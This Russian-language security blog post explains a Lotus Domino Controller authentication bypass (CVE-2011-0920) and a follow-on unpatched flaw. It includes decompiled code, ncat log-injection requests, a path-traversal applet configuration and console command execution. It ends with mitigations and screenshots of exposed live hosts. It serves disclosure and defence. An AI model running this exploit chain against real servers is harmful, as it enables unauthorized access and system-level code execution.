3 апреля 2012 в 12:15

Проникновение в Lotus Domino

Эксплуатация уязвимостей сервиса Lotus Domino Controller



В последнее время я часто рассказываю истории о том, как на обыкновенном пен-тесте удается выявить 0-day уязвимость в популярном ПО или разработать приватный эксплойт. На самом деле такого рода задачи решаются при пен-тесте редко и выборочно, и на это есть свои причины.

И всё же я хочу поделиться историей (ага, байкой) о том, как при решении именно таких задач пен-тест выходит за рамки монотонного сканирования, брутфорса и запихивания кавычек в параметры веб-приложения. А именно, в этом посте будет рассказано о простой баге в Lotus Domino Server Controller, о том, как был создан приватный эксплойт, а также найдена проблема нулевого дня, актуальная и на сегодняшний день.





Тест на проникновение


Итак, тест на проникновение. Эта тема стабильно обмусоливается каждый год на различных блогах и различными специалистами. И это неспроста: данная услуга имеет много различных тонкостей и подводных камней. Но я не буду мутить воду о необходимости, полезности и содержании этой штуковины, я хочу поговорить о самой работе. О том, что делает пен-тест именно пен-тестом.

Любой пен-тестер решает множество подзадач с целью выполнения основной задачи – реализации атак на компоненты информационной системы. При этом я оставлю за скобками подробное описание и возможные вариации на тему основной задачи, так как это опять же сейчас неинтересно, а вот две-три подзадачи, что являются “state-of-art”, я выделю:

  • Поиск (и подтверждение) уязвимости
  • Разработка эксплойта
  • Эксплуатация уязвимости


Так случилось, что во время одного из пен-теcтов обнаружился целый набор уязвимостей без публично доступных эксплойтов, даже без PoC’ов или детальных описаний проблемы. Поэтому для одной такой уязвимости было решено узнать все самим и написать приватный эксплойт.

Обход аутентификации в Lotus Domino Server Controller

CVE-2011-0920


Данная уязвимость была найдена Патриком Карлссоном и продана с потрохами в ZDI. Так что описание с сайта ZDI — это единственная информация, что у нас есть. Краткий пересказ:

«Уязвимость в сервисе Domino Controller, порт TCP 2050. В процессе аутентификации атакующий может установить значение параметра COOKIEFILE как путь UNC, таким образом установить контроль как над файлом источником базовых аутентификационные данных, так и над вводимыми при аутентификации значениями. Это позволяет обойти механизм проверки аутентификации и получить доступ к консоли администрирования. Ведет к исполнению кода с привилегиями SYSTEM».

Описание хоть и не детальное, но говорит достаточно о том, что происходит. Значит, можно приконнектиться к порту под номером 2050, подсунуть по какому-то протоколу параметр COOKIEFILE, указывая путь типа \\ATTACKER_HOST\FILE. А в этом файле разместить логин и пароль и, используя эти же логин и пароль, войти в систему. Осталось совсем чуть-чуть – разобрать протокол и формат файла. По сканам Nmap можно определить, что вся работа происходит по SSL, а вот протокол общения в SSL-обертке предстоит выяснить. На самом деле это крайне просто: достаточно отметить, что сервис Lotus Domino Controller полностью написан на Java, причем как клиентская, так и серверная часть, все в одном файле:

C:\Program Files\IBM\Lotus\Domino\Data\domino\java\dconsole.jar

Данный файл легко декомпилируем (например, с помощью DJ Java Decompiler, хотя он не так хорош, как хотелось бы). После этого мы ищем код, отвечающий за соединение и обработку запросов. Обработка запросов осуществляется в классе NewClient. В этом классе парсятся plaintext-запросы вида: #COMMAND param1,param2,… Все команды описываются отдельно:

    . . .
    // Функция ReadFromUser();
    // s1 – строка из 2050/tcp
    if(s1.equals("#EXIT"))
        return 2;
    . . .
    if(s1.equals("#APPLET"))
        return 6;
    . . .
    if(s1.equals("#COOKIEFILE")) 
            if(stringtokenizer.hasMoreTokens()) //есть ли после пробела ещё что-то
                // Формат: #COOKIEFILE <cookieFilename>
   	        cookieFilename = stringtokenizer.nextToken().trim(); //считываем
   	        return 7;
    . . .
    if(s1.equals("#UI"))
        if(stringtokenizer.hasMoreTokens())
            // Формат: #UI <login>,<password>
            usr = stringtokenizer.nextToken(",").trim(); //Login
        if(usr == null)
            return 4;
        if(stringtokenizer.hasMoreTokens())
            // passwords
            pwd = stringtokenizer.nextToken().trim(); //Password
        return 0;



Вот мы и встретили параметр COOKIEFILE. Однако одного его недостаточно. Рассмотрим основной цикл:

     do           
        {
	    
	    int i = ReadFromUser(); //Point.1
 
            if(i == 2)
                break; //if #EXIT
            . . .
            if(i == 6) //if #APPLET Point.2
            {
                appletConnection = true;
                continue;
            }
            . . .
	        // вырезан поиск логина в admindata.xml
            . . . 
           if(userinfo == null) //Point.9
           {
	              // Если логина нет в admindata.xml
                 WriteToUser("NOT_REG_ADMIN");
                 continue;
           }

           . . .
            if(!appletConnection) //Point.3
		         flag = vrfyPwd.verifyUserPassword(pwd, userinfo.userPWD())
            else 			
  		flag = verifyAppletUserCookie(usr, pwd); // if #APPLET

            . . .

                   
            if(flag) 
   		WriteToUser("VALID_USER");
             else 
   		WriteToUser("WRONG_PASSWORD");

         } while(true); 

if(flag) 
{
       	//Функционал консоли
. . .
}else
{
           //Отключение
}


Как видно, у нас есть ДВА варианта аутентификации (Point.3). Первый – обыкновенный, по логину и паролю, а второй – так же по логину и паролю, но с использованием COOKIEFILE. При этом второй вариант выбирается, только если до этого была команда #APPLET (Point.2). Все команды считываются поочерёдно в цикле (Point.1). Поэтому одного лишь #COOKIEFILE недостаточно.

Теперь мы понимаем формат протокола, каков же формат самого файла? Рассмотрим функцию verifyAppletUserCookie:

File file = new File(cookieFilename); //Point.4
	. . . 
inputstreamreader = new InputStreamReader(new    FileInputStream(file), "UTF8");       	
	 . . .
inputstreamreader.read(ac, 0, i); //Point.5
        	. . .
String s7 = new String(ac); 
	. . .
  do {
             if((j = s7.indexOf("<user ", j)) <= 0)  //Point.6
          	break;
             int k = s7.indexOf(">", j);       
             if(k == -1)
                 break;
             String s2 = getStringToken(s7, "name=\"", "\"", j, k); //Point.7
            . . .
             String s3 = getStringToken(s7, "cookie=\"", "\"", j, k);
            . . .
             String s4 = getStringToken(s7, "address=\"", "\"", j, k);
	    . . .
             //Point.8
              if(usr.equalsIgnoreCase(s2) && pwd.equalsIgnoreCase(s3) &&\
                 appletUserAddress.equalsIgnoreCase(s4))
              {
                     flag = true;
                     break;
              }
 	. . .
      } while(true);


Видно, что в строчке, откомментированной как Point.4, открывается файл, имя которого задано пользователем (переменная инициализирована в функции ReadFromUser() при разборе команды #COOKIEFILE). Причем ввод никак не фильтруется, тут может быть хоть UNC-путь. Далее происходит считывание файла в строку s7 (Point.5). Далее эта строка обрабатывается в цикле, где видно, что это обыкновенный XML-файл вида:

<user name=”usr” cookie=”pass” address=”value”>


После чего в строчке, откомментированной как Point.8, происходит сравнение ввода логина, пароля и значения адреса (#ADDRESS) с соответствующими значениями атрибутов тэга . Так как данный файл может быть считан с удалённого хоста (по подсунутому UNC-пути), то атака становится простой и очевидной.

Вот так выглядит эксплуатация уязвимости для ZDI-11-110

1. Создаем файл (cookie.xml):

<user name="admin" cookie="dsecrg" address="10.10.0.1">


2. Используем ncat



Команда “#APPLET” говорит серверу, что мы хотим использовать файл cookie для аутентификации. Теперь, когда мы попробуем аутентифицироваться, используя команду “#UI”, сервер попытается открыть файл по пути, который мы ему дали с помощью “#COOKIEFILE”. После чего он оттуда возьмет аутентификационные данные и сравнит с введёнными после команды #UI. После команды “#EXIT” сервер запустит процесс обработки ввода для аутентифицированного пользователя, и можно уже управлять сервисом, а также исполнять команды ОС!

Казалось бы, и сказке конец. Более того, IBM сделала исправление для данной проблемы, и даже не одно! Вот эти новшества появились, начиная с версии 8.5.2FP3 и 8.5.3.

Исправление 1.





Теперь для соединения с портом 2050 необходим правильный клиентский сертификат. То есть Ncat и Nmap больше не работают с портом 2050.

Исправление 2.





Теперь перед именем файла добавляется “.\”, что означает, что UNC мы больше использовать не можем. Уязвимость исправлена. Патч кажется адекватным.

На самом деле это не так. Взглянем на строчки кода ещё раз (откомментированные как Point.6 и Point.7). Функция getStringToken – фактически substring. Отсюда вполне очевидный вопрос: зачем программисты при реализации этого модуля прибегли к написанию собственного XML-парсера? Очевидно, что данный парсер работает с любым файлом, в котором есть соответствующе строки: “<user”, “name=” и т.д. Другими словами, вот то, чего мы ожидаем:

<user name="usr" cookie="psw" address="dsecrg">


Но вот что можно подсунуть, и это так же благополучно распарсится:

trashtrash<user sdsdasdsdname=”usr”sadasd
asdnkasdk cookie=”psw”sssssaddress=”dsecrg”b f %>


Что это значит? Видимо, мы нашли ещё одну уязвимость, в том же участке кода. А именно то, что в совокупности с возможностью подключения локального файла (UNC не можем, но traversal directory — еще как можем: #COOKIEFILE ..\..\..\..\file -> .\..\..\..\file), можно выполнять инъекцию аутентификационных данных в любые доступные для записи файлы.

Например:

1. Инъектим cookievalues, используя сервис Microsoft HTTPAPI service (спасибо jug за то, что нашел этот лог-файл на боевом, вражеском сервере в нужный момент):

C:\> ncat targethost 49152
GET /<user HTTP/1.0

C:\> ncat targethost 49152
GET /user="admin"cookie="pass"address="http://twitter/asintsov" HTTP/1.0



Тут \r\n – это просто Enter!

2. Теперь лог-файл на сервере будет таким:

#Software: Microsoft HTTP API 2.0
#Version: 1.0
#Date: 2011-08-22 09:19:16
#Fields: date time c-ip c-port s-ip s-port cs-version cs-method cs-uri sc-status s-siteid s-reason s-queuename
2011-08-22 09:19:16 10.10.10.101 46130 10.10.9.9  47001 - - - 400 - BadRequest -
2011-08-22 09:19:16 10.10.10.101 46234 10.10.9.9  47001 HTTP/1.0 GET / 404 - NotFound -
2011-08-26 11:53:30 10.10.10.101 52902 10.10.9.9  47001 HTTP/1.0 GET <user 404 - NotFound -
2011-08-26 11:53:30 10.10.10.101 52905 10.10.9.9  47001 HTTP/1.0 GET name="admin"cookie="pass"address="http://twitter/asintsov"> 404 - NotFound -
2011-08-22 09:19:16 10.10.10.101 46130 10.10.9.9  47001 - - - 400 - BadRequest -


Два запроса сделаны не случайно, так как парсер от IBM будет искать строку “<user ” с пробелом в конце! А все пробелы в запросе кодируются как “%20”, и поэтому нам это не подходит. Тогда делаем первый запрос так, чтобы после “<user” пробел поставил сам веб-сервер (между запросом и результатом “404 – NotFound”). Вторым запросом допихиваем все остальное.

Отлично, почти все готово, осталось только научиться подсоединяться к 2050, ведь сертификата SSL у нас нет. Или есть? Вспомнив, что dconsole.jar ещё отвечает и за клиентскую часть, как апплет, очевидно, что там должен быть сертификат – и он там есть. И ключ там есть. Всё там есть. В принципе, можно выдернуть ключ и написать эксплойт, но если лень, то можно прямо этот апплет использовать:

<applet name = "DominoConsole"
code = "lotus.domino.console.DominoConsoleApplet.class"
codebase = "http://127.0.0.1/domjava/"
archive = "dconsole.jar"
width = "100%"
height = "99%“>
<PARAM NAME="debug" VALUE="true">
<PARAM NAME="port" VALUE="2050">
<PARAM NAME="useraddress" VALUE="http://twitter/asintsov">
<PARAM NAME="username" VALUE="admin">
<PARAM NAME="cookiefile" VALUE="\..\..\..\windows\system32\logfiles\httperr\httperr1.log">
<PARAM NAME="cookievalue" VALUE="pass">
<PARAM NAME="onLoad" VALUE="onLoadConsole">
</applet>


Подгружаем этот апплет в любом браузере, добавляем редирект с локального порта 2050 на удалённый, и всё – эффект достигнут. Видеопример:

Выполнение команд из консоли. Вариант 1:

LOAD cmd.exe /c command

Выполнение команд из консоли. Вариант 2:

$ command

Защита:

  • Порт 2050 вообще-то надо фильтровать.
  • Запретить опасные команды в консоли с помощью установки дополнительного пароля консоли (защитит от выполнения команд из консоли в первом варианте).
  • Проверить файл admindata.xml. Для каждого пользователя надо проверить привилегии. Значения 4, 25 или 26 говорят о том, что у данного пользователя есть права на исполнение системных команд! Удалив их, мы защитимся от выполнения команд из консоли во втором варианте.


Примечание:

Атакующему во всех перечисленных вариантах для успешного обхода аутентификаций необходимо знать правильное значение логина. В любом случае, его можно перебрать, так как в случае несуществующего логина выдаётся ошибка NOT_REG_ADMIN, а если неверен пароль, то WRONG_PASSWORD (Point.9).

P.S. Атака из Интернет



Подсеть московского вуза:



Домен .gov, или Американские учёные не любят межсетевых экранов:



Даже сама IBM не может отфильтровать порт 2050 и обновить Lotus (+ демонстрация угадывания «логина»):



Выводы


  • Патчи не всегда решают проблему до конца.
  • Межсетевой экран — лучшая защита.
  • Не стоит игнорировать встроенные параметры безопасности.


… и тогда даже 0day уязвимости не страшны.
Автор: @d00kie
Digital Security
рейтинг 154,20
Безопасность как искусство

Комментарии (13)

  • +1
    Ммммм, хитро. А багрепорт сделал?
  • +4
    Конечно, в прошлом году, в ноябре еще… Сейчас вот второй раз написал. Ответа не было 8( Хотя раньше отвечали (
  • +1
    После этого поста DSEC обогнали IBM в рейтинге компаний ))
  • +1
    ещё на zeronights про это рассказывали
    • 0
      Да, в кратком режиме.
  • +1
    Очень круто, читалось, как детектив)
  • +1
    . . .
    if(!appletConnection) //Point.2
    flag = vrfyPwd.verifyUserPassword(pwd, userinfo.userPWD())
    else
    flag = verifyAppletUserCookie(usr, pwd); // if #APPLET

    . . .

    судя по тексту надо заменить Point.2 на Point.3
    • 0
      Спасибо!
  • 0
    Когда же IBMнаучится оперативно реагировать на проблемы с безопасностью?
    В погоне за максимальной интегрируемостью обо всем забывают.
  • +1
    Что за сервис используете для получения серверов с открытым 2050 портом(на скрине где про .gov)?
    • 0
    • 0
      да, это shodanHQ, но там я искал веб сервисы Лотус, а затем дополнительно сканил nmap'ом подсетку на 2050. К сожалению, shodanHQ не умеет искать 2050 или иные не популярные сервисы.
  • НЛО прилетело и опубликовало эту надпись здесь

Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.